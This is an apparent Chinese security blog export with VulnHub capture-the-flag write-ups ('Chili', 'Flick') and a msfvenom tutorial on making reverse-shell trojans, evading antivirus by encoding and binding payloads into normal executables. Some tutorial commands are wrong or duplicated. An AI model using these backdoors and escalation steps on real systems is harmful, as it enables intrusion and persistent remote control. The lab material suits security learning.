Apr 18 2019 /usr/bin/bash Severity: MEDIUM Name: Executable capable of spawning reverse shells found -rwxr-xr-x 1 root root 736776 Apr 20 16:23 /usr/bin/openssl Severity: MEDIUM Name: Executable capable of spawning reverse shells found -rwxr-xr-x 2 root root 3201864 Jul 21 15:27 /usr/bin/perl Severity: MEDIUM Name: Executable capable of spawning reverse shells found -rwxr-xr-x 1 root root 8156 Jul 21 15:27 /usr/bin/cpan Severity: MEDIUM Name: Abnormal GUID enabled executable found -rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab Severity: MEDIUM Name: Abnormal GUID enabled executable found -rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write Severity: MEDIUM Name: Abnormal SUID enabled executable found -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device Severity: INFO Name: Config file could contain passwords -rw-r--r-- 1 root root 239 Sep 27 2017 /usr/lib/tmpfiles.d/passwd.conf Severity: MEDIUM Name: Found backup /etc/shadow file -rw-r----- 1 root shadow 965 Sep 8 12:10 /etc/shadow- Severity: INFO Name: Found backup /etc/passwd file -rw-r--r-- 1 root root 1437 Sep 8 12:10 /etc/passwd- Severity: MEDIUM Name: Other permissions are higher than Group permissions -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: INFO Name: Config file could contain passwords -rw-r--r-- 1 root root 5849 Sep 8 12:15 /etc/vsftpd.conf Severity: INFO Name: Config file could contain passwords -rw-r--r-- 1 root root 494 Feb 10 2019 /etc/nsswitch.conf Generating JSON Json saved at location -\u0026gt; enumy.json Total files scanned -\u0026gt; 25183 通过以上信息，我们发现我们对/etc/passwd文件有写的权限，这里我们可以直接添加一个高权限用户进去：\n// 首先通过perl语言生成test用户的密码密文 root@kali:/# /usr/bin/perl -le \u0026#39;print crypt(\u0026#34;test\u0026#34;,\u0026#34;test\u0026#34;)\u0026#39; teH0wLIpW0gyQ // 将自己构造的用户写入/etc/passwd下 meterpreter \u0026gt; shell Process 783 created. Channel 2 created. echo \u0026#34;test:teH0wLIpW0gyQ:0:0:root:/root:/bin/bash\u0026#34; \u0026gt; /etc/passwd 切换test用户得到flag值：\nmeterpreter \u0026gt; shell Process 788 created. Channel 4 created. su test Password: test whoami test ls /root proof.txt cat /root/proof.txt Sun_CSR.Chili.af6d45da1f1181347b9e2139f23c6a5b ","date":"2020-10-05","externalUrl":null,"permalink":"/posts/vulnhub%E9%9D%B6%E5%9C%BA%E7%B3%BB%E5%88%97chili/","section":"文章","summary":"VulnHub靶场系列：Chili # 刚刚在VulnHub官网上找了些简单的靶机，感觉这个还挺适合新手的\n环境部署： # https://download.vulnhub.com/chili/Chili.ova 实战： # 首先使用工具扫描靶机所在网段，得到靶机IP：\n","title":"VulnHub靶场系列：Chili)","type":"posts"},{"content":"","date":"2020-10-05","externalUrl":null,"permalink":"/tags/%E9%9D%B6%E5%9C%BA/","section":"标签","summary":"","title":"靶场","type":"tags"},{"content":"","date":"2020-10-05","externalUrl":null,"permalink":"/series/%E9%9D%B6%E5%9C%BA%E7%B3%BB%E5%88%97/","section":"系列","summary":"","title":"靶场系列","type":"series"},{"content":" VulnHub靶场系列：Flick # 今天意外看到一个VulnHub上的一个靶场的WriteUp，觉得挺有意思，所以自己试着做一遍并记录下来。\n环境部署： # 下载靶场并导入到VMware中：\nhttps://download.vulnhub.com/flick/flick.tar.gz 实战： # 首先使用工具扫描整个网段得到靶机IP：\nfping -g 192.168.142.0/24 得到靶机IP后使用Nmap工具检测服务器开放端口：\nnmap -sV -p1-65535 192.168.142.35 这里发现服务器开启了22，8881端口。\nroot@kali:/# nmap -sV -p1-65535 192.168.142.35 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-02 17:26 CST Nmap scan report for 192.168.142.35 Host is up (0.00081s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) 8881/tcp open galaxy4d? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8881-TCP:V=7.80%I=7%D=10/2%Time=5F76F239%P=x86_64-pc-linux-gnu%r(NU SF:LL,5F,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20pas SF:sword\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x2 SF:0door:\\n\u0026gt;\\x20\u0026#34;)%r(GetRequest,78,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20serve SF:r\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20 SF:and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20GET\\x20/\\x20HTTP/1\\.0\\r\\n SF:\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(FourOhFourRequest,9B,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20 SF:server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switc SF:h\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20GET\\x20/nice%20ports SF:%2C/Tri%6Eity\\.txt%2ebak\\x20HTTP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(GenericLines,6 SF:A,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20passwor SF:d\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20doo SF:r:\\n\u0026gt;\\x20OK:\\x20\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(HTTPOptions,7C,\u0026#34;Welcome\\x20to\\x20th SF:e\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x SF:20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20OPTION SF:S\\x20/\\x20HTTP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(RTSPRequest,7C,\u0026#34;Welcome\\x20to\\x2 SF:0the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick SF:\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20OPT SF:IONS\\x20/\\x20RTSP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(RPCCheck,92,\u0026#34;Welcome\\x20to\\x2 SF:0the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick SF:\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20\\x8 SF:0\\0\\0\\(r\\xfe\\x1d\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xa0\\0\\x01\\x97\\|\\0\\0\\0\\ SF:0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\n\u0026gt;\\x20\u0026#34;)%r(DNSVersionBindReqTCP,86,\u0026#34;W SF:elcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x2 SF:0will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n SF:\u0026gt;\\x20OK:\\x20\\0\\x1e\\0\\x06\\x01\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\x04bind\\0\\0 SF:\\x10\\0\\x03\\n\u0026gt;\\x20\u0026#34;)%r(DNSStatusRequestTCP,74,\u0026#34;Welcome\\x20to\\x20the\\x20a SF:dmin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\ SF:x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20\\0\\x0c\\0\\0\\x SF:10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\n\u0026gt;\\x20\u0026#34;); MAC Address: 00:0C:29:36:25:9B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 158.72 seconds 先尝试链接服务器的ssh：\nssh 192.168.142.35 得到一大串十六进制：\n这里十六进制转字符后得到一大串base64,需要进行多次解码，所以我这里直接写了个脚本：\nimport base64 a = \u0026#34;\u0026#34;\u0026#34; \u0026lt;hex\u0026gt; \u0026#34;\u0026#34;\u0026#34; b = str(a).replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;) while True: try: b = base64.b64decode(b).decode(\u0026#39;utf-8\u0026#39;) except: break print(b) 最后得到一串字符：\ntabupJievas8Knoj 我们在用nc尝试链接开放的8881端口\nroot@kali:/# nc 192.168.142.35 8881 Welcome to the admin server. A correct password will \u0026#39;flick\u0026#39; the switch and open a new door: \u0026gt; 链接之后告诉我们需要用密码来打开下一扇门，我们尝试将刚刚得到的明文输入进去：\nroot@kali:/# nc 192.168.142.35 8881 Welcome to the admin server. A correct password will \u0026#39;flick\u0026#39; the switch and open a new door: \u0026gt; tabupJievas8Knoj OK: tabupJievas8Knoj Accepted! The door should be open now :poolparty: 提示成功打开下一扇门，我们现在再次使用nmap扫描端口：\nroot@kali:/# nmap -sV -p1-65535 192.168.142.35 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-03 13:14 CST Nmap scan report for 192.168.142.35 Host is up (0.00066s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) 8881/tcp open galaxy4d? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8881-TCP:V=7.80%I=7%D=10/3%Time=5F7808D9%P=x86_64-pc-linux-gnu%r(NU SF:LL,5F,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20pas SF:sword\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x2 SF:0door:\\n\u0026gt;\\x20\u0026#34;)%r(GetRequest,78,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20serve SF:r\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20 SF:and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20GET\\x20/\\x20HTTP/1\\.0\\r\\n SF:\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(FourOhFourRequest,9B,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20 SF:server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switc SF:h\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20GET\\x20/nice%20ports SF:%2C/Tri%6Eity\\.txt%2ebak\\x20HTTP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(GenericLines,6 SF:A,\u0026#34;Welcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20passwor SF:d\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20doo SF:r:\\n\u0026gt;\\x20OK:\\x20\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(HTTPOptions,7C,\u0026#34;Welcome\\x20to\\x20th SF:e\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x SF:20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20OPTION SF:S\\x20/\\x20HTTP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(RTSPRequest,7C,\u0026#34;Welcome\\x20to\\x2 SF:0the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick SF:\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20OPT SF:IONS\\x20/\\x20RTSP/1\\.0\\r\\n\\r\\n\\n\u0026gt;\\x20\u0026#34;)%r(RPCCheck,92,\u0026#34;Welcome\\x20to\\x2 SF:0the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick SF:\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20\\x8 SF:0\\0\\0\\(r\\xfe\\x1d\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xa0\\0\\x01\\x97\\|\\0\\0\\0\\ SF:0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\n\u0026gt;\\x20\u0026#34;)%r(DNSVersionBindReqTCP,86,\u0026#34;W SF:elcome\\x20to\\x20the\\x20admin\\x20server\\.\\x20A\\x20correct\\x20password\\x2 SF:0will\\x20\u0026#39;flick\u0026#39;\\x20the\\x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n SF:\u0026gt;\\x20OK:\\x20\\0\\x1e\\0\\x06\\x01\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\x04bind\\0\\0 SF:\\x10\\0\\x03\\n\u0026gt;\\x20\u0026#34;)%r(DNSStatusRequestTCP,74,\u0026#34;Welcome\\x20to\\x20the\\x20a SF:dmin\\x20server\\.\\x20A\\x20correct\\x20password\\x20will\\x20\u0026#39;flick\u0026#39;\\x20the\\ SF:x20switch\\x20and\\x20open\\x20a\\x20new\\x20door:\\n\u0026gt;\\x20OK:\\x20\\0\\x0c\\0\\0\\x SF:10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\n\u0026gt;\\x20\u0026#34;); MAC Address: 00:0C:29:36:25:9B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 159.43 seconds 扫到80端口，我们使用浏览器访问他，得到如下页面：\n我们发现这里有一个登录的界面，旁边提示说有一个测试用户，我们尝试爆破\n最后得到用户名demo密码demo123\n这里登录成功后我们发现有上传点，但是测试过后发现无法利用所以只能换个思路。\n想了半天没有思路，参考了一下别人的WP，发现他这里的下载页面存在遍历漏洞。\n这里可能做了一些防护，这里我们使用其他方法将其绕过\r通过查看站点配置文件，得到数据库路径，读取其用户信息\n这里我们通过查看sqlite数据库信息得到了robin与dean的密码\nrobin: JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1 dean : FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA 然后链接ssh进行登录，发现robin账户的无法登入，但是dean成功登入上去：\n我们cat家目录下的文件发现了message.txt和read_docker\n我们首先查看message.txt，因为博主是个学渣，英语文盲，这里我就不做翻译了，这里大致意思是让使用read_docker去运行/home/robin/flick-dev下的文件\ndean@flick:~$ cat message.txt -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Dean, I will be away on leave for the next few weeks. I have asked the admin guys to write a quick script that will allow you to read my .dockerfile for flick- a-photo so that you can continue working in my absense. The .dockerfile is in my home, so the path for the script will be something like /home/robin/flick-dev/ Please call me if you have any troubles! - -- Ciao Robin -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBAgAGBQJT32ZsAAoJENRCTh/agc2DTNIP/0+ut1jWzk7VgJlT6tsGB0Ah yi24i2b+JAVtINzCNgJ+rXUStaAEudTvJDF28b/wZCaFVFoNJ8Q30J03FXo4SRnA ZW6HZZIGEKdlD10CcXsQrLMRmWZlBDQnCm4+EMOvavS1uU9gVvcaYhnow6uwZlwR enf71LvtS1h0+PrFgSIoItBI4/lx7BiYY9o3hJyaQWkmAZsZLWQpJtROe8wsxb1l 9o4jCJrADeJBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+l+xTi8Y1/XIlgEHCelU jUg+Hswq6SEch+1T5B+9EPoeiLT8Oi2Rc9QePSZ3n0fe4f3WJ47lEYGLLEUrKNG/ AFLSPnxHTVpHNO72KJSae0cG+jpj1OKf3ErjdTk1PMJy75ntQCrgtnGnp9xvpk0b 0xg6cESLGNkrqDGopsN/mgi6+2WKtUuO5ycwVXFImY3XYl+QVZgd/Ntpu4ZjyZUT lxqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPD04xfzoc0/R/UpIpUmneK q9LddBQK4vxPab8i4GNDiMp+KXyfByO864PtKQnCRkGQewanxoN0lmjB/0eKhkmf Yer1sBmumWjjxR8TBY3cVRMH93zpIIwqxRNOG6bnnSVzzza5DJuNssppCmXLOUL9 nZAuFXkGFu6cMMD4rDXQ =2moZ -----END PGP SIGNATURE----- dean@flick:~$ 按照信息去运行/home/robin/flick-dev下的文件：\ndean@flick:~$ ./read_docker /home/robin/flick-dev # Flick-a-photo dev env RUN apt-get update \u0026amp;\u0026amp; apt-get install -y php5 libapache2-mod-php5 php5-mysql php5-cli \u0026amp;\u0026amp; apt-get clean \u0026amp;\u0026amp; rm -rf /var/lib/apt/lists/* CMD [\u0026#34;/usr/sbin/apache2\u0026#34;, \u0026#34;-D\u0026#34;, \u0026#34;FOREGROUND\u0026#34;] 然后我们发现并没有实质性的用处，我们把目光转移到read_docker文件中，尝试直接在当前目录运行：\ndean@flick:~$ ./read_docker . ERROR: the specified docker file doesn\u0026#39;t exist: ./Dockerfile Usage is: ./read_docker /path/to/dockerfile 我们发现他是读取我们指定目录下的Dockerfile这个文件，这里我们可以尝试通过软连接去读取robin用户的任意文件。\n这里我们直接将软连接指到robin用户的ssh私钥上去：\ndean@flick:~$ ln -s /home/robin/.ssh/id_rsa Dockerfile dean@flick:~$ ./read_docker . -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6 S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9 d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2 tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4 Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0 mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1 Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn -----END RSA PRIVATE KEY----- 这里我们直接通过密钥去SSH登入Robin用户：\nPermissions 0644 for \u0026#39;id_rsa\u0026#39; are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key \u0026#34;id_rsa\u0026#34;: bad permissions 这里如果出现报错的话是要将密钥文件的权限修改一下，然后在进行登入\nroot@kali:/# chmod 600 id_rsa root@kali:/# ssh -i id_rsa robin@192.168.142.35 load pubkey \u0026#34;id_rsa\u0026#34;: invalid format 登录成功后，开始提权\n这里的提权我完全没有头绪，参考大佬的WP后，发现是用docker提权\n这里使用docker命令将主机上的/root目录挂载到映像中的/root中去，以此得到电脑的root权限：\nrobin@flick:~$ docker run -t -i -v /root:/root ubuntu /bin/bash root@12a586efd780:/# 然后查看flag：\nroot@12a586efd780:/# cd /root/ root@12a586efd780:/root# cat flag.txt Errr, you are close, but this is not the flag you are looking for. root@12a586efd780:/root# cat .aptitude/ .bash_history .bashrc .cache/ .profile .viminfo 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/ flag.txt root@12a586efd780:/root# cat 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt Congrats! You have completed \u0026#39;flick\u0026#39;! I hope you have enjoyed doing it as much as I did creating it :) ciao for now! @leonjza root@12a586efd780:/root# ","date":"2020-10-03","externalUrl":null,"permalink":"/posts/vulnhub%E9%9D%B6%E5%9C%BA%E7%B3%BB%E5%88%97flick/","section":"文章","summary":"VulnHub靶场系列：Flick # 今天意外看到一个VulnHub上的一个靶场的WriteUp，觉得挺有意思，所以自己试着做一遍并记录下来。\n环境部署： # 下载靶场并导入到VMware中：\n","title":"VulnHub靶场系列：Flick)","type":"posts"},{"content":" Msfvenom生成后门及运用 # 本篇文章将会使用msfvenom来创建木马，然后通过msfconsole中的expoit/multi/handler来反弹靶机shell。\n后门的生成： # 首先通过各种操作系统，脚本语言来生成后门： 常用参数说明：\ne\t编码方式 i\t编码次数 b\t在生成的程序中避免出现的值 f\t输出格式 p 选择payload l 查看所有payload a 选择架构平台(x86|x64|x86_64) o 文件输出 c 添加自己的shellcode x|k 捆绑 基本格式： # msfvenom -p \u0026lt;payload\u0026gt; \u0026lt;payload options\u0026gt; -f \u0026lt;format\u0026gt; -o \u0026lt;path\u0026gt; 木马简单免杀： # msfvenom -p \u0026lt;payload\u0026gt; -e \u0026lt;encoder \u0026gt; -i \u0026lt;encoder times\u0026gt; -n \u0026lt;nopsled\u0026gt; -f \u0026lt;format\u0026gt; -o \u0026lt;path\u0026gt; msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\\back.exe 普通捆绑： # msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\\nomal.exe –k –f exe –o C:\\shell.exe Linux： # msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=\u0026lt; Your IP Address\u0026gt; LPORT=\u0026lt; Your Port to Connect On\u0026gt; -f elf \u0026gt; shell.elf Windows： # msfvenom -p windows/meterpreter/reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f exe \u0026gt; shell.exe Mac： # msfvenom -p osx/x86/shell_reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f macho \u0026gt; shell.macho Android： # msfvenom -p android/meterpreter/reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; R \u0026gt; shell.apk PHP: # msfvenom -p php/meterpreter_reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f raw \u0026gt; shell.php ASP: # msfvenom -p windows/meterpreter/reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f aspx \u0026gt; shell.asp ASPX: # msfvenom -p windows/meterpreter/reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f aspx \u0026gt; shell.aspx JSP: # msfvenom -p java/jsp_shell_reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f raw \u0026gt; shell.jsp WAR: # msfvenom -p java/jsp_shell_reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f war \u0026gt; shell.war BASH: # msfvenom -p java/jsp_shell_reverse_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f war \u0026gt; shell.war PERL: # msfvenom -p cmd/unix/reverse_perl LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f raw \u0026gt; shell.pl PYTHON: # msfvenom -p python/meterpreter/reverser_tcp LHOST=\u0026lt;Your IP Address\u0026gt; LPORT=\u0026lt;Your Port to Connect On\u0026gt; -f raw \u0026gt; shell.py 基于现在网络安全意识的提高，普通的木马很难在win上存活，需要经过多次的复杂的编码，所以我们学习的路还很长！\n中文翻译： # -l, --list \u0026lt;type\u0026gt; 列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all -p, --payload \u0026lt;payload\u0026gt; 指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数) 如果需要使用自定义的payload,请使用\u0026#39;-\u0026#39;或者stdin指定 --list-options 列出指定payload的标准,高级和规避选项 例如:msfvenom -p generic/shell_bind_tcp --list-options 将列出shell_bind_tcp这个payload的各种选项信息 -f, --format \u0026lt;format\u0026gt; 指定输出格式(使用 --list formats 列出所有的格式) -e, --encoding \u0026lt;encoder\u0026gt; 要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密 --smallest 使用所有可用的编码器生成尽可能小的有效负载 -a, --arch \u0026lt;arch\u0026gt; 指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构) --platform \u0026lt;platform\u0026gt; 指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台) -o, --out \u0026lt;path\u0026gt; 将payload保存到文件中 -b, --bad-chars \u0026lt;list\u0026gt; 指定不使用的字符集 例如:不使用\u0026#39;\\x00\\xff\u0026#39;这两个字符 -n, --nopsled \u0026lt;length\u0026gt; 在payload上添加指定长度的nop指令 -s, --space \u0026lt;length\u0026gt; 设定payload的最大长度 即生成的文件大小 --encoder-space \u0026lt;length\u0026gt; 设定编码payload的最大长度(默认为-s的值) -i, --iterations \u0026lt;count\u0026gt; 对payload进行编码的次数 -c, --add-code \u0026lt;path\u0026gt; 指定一个自己的win32 shellcode文件 -x, --template \u0026lt;path\u0026gt; 指定一个可执行程序 将payload捆绑其中 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面 -k, --keep 针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用 -v, --var-name \u0026lt;value\u0026gt; 指定用于某些输出格式的自定义变量名称 -t, --timeout \u0026lt;second\u0026gt; 从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用) -h, --help 查看帮助 msf反弹shell # 当我们的木马已经上传到目标靶机系统并正常运行之后，靶机会主动连接我们所指定的ip和端口，形成反弹shell的操作，我们只需要做的是监听kaili的所指定的端口即可。\n首先进入msfconsole的shell：\nmsfconsole 调用监听模块：\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.1.102 LHOST =\u0026gt; 192.168.1.102 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 192.168.1.102:4444 这里可以根据需要设置LHOST与LPORT参数，也可以指定对应的攻击载荷\n实践： # 